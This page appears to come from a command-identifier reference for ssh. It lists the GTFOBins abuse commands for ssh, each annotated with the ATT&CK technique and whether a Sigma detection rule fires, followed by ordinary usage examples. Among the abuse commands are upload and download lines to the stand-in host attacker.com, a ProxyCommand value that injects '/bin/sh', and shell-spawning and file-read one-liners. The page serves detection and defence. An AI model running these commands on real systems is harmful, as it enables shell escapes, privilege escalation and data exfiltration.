Identifier / Programs / Linux and Unix
ssh
Secure Shell is a protocol used to securely log onto remote systems. It can be used for logging or executing commands on a remote server. tldr-pages
GTFOBins file-read, shell 1 Sigma rule name it 2 ATT&CK techniques 6 documented commands
How ssh is abused
file-read
-Fshell T1059.004 Command and Scripting Interpreter: Unix Shell
localhost
shell T1059.004 Command and Scripting Interpreter: Unix Shell
-oEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for ssh.
6 documented commands
download unprivileged, with sudo, as SUID
ssh user@attacker.com 'cat /path/to/input-file"Trips no Sigma process-creation rule.
file-read unprivileged, with sudo, as SUID
The read file content is corrupted by error prints.
ssh -F /path/to/input-file xTrips no Sigma process-creation rule.
shell unprivileged, with sudo, as SUID
Reconnecting may help bypassing restricted shells.
ssh localhost /bin/shTrips 1 Sigma rule: highShell Invocation Via Ssh - Linux by Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)
shell unprivileged, with sudo
ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' xTrips no Sigma process-creation rule.
shell unprivileged, with sudo
Spawn the shell on the client, but still requires a successful remote connection.
ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhostTrips 1 Sigma rule: highShell Invocation Via Ssh - Linux by Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)
upload unprivileged, with sudo, as SUID
echo DATA | ssh user@attacker.com 'cat >/path/to/output-file"Trips no Sigma process-creation rule.
2 of the 6 commands the identifier reads trip a Sigma process-creation rule; 4 trip none. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for ssh. The identifier reads the line of each that runs ssh.
What detects it
Everyday use
Connect to a remote server
ssh username@remote_hostIdentifyConnect to a remote server with a specific identity (private key)
ssh username@remote_host -i path/to/key_fileIdentifyConnect to a remote server with IP 10.0.0.1 and using a specific port (Note: 10.0.0.1 can be shortened to 10.1)
ssh username@10.0.0.1 -p 2222IdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.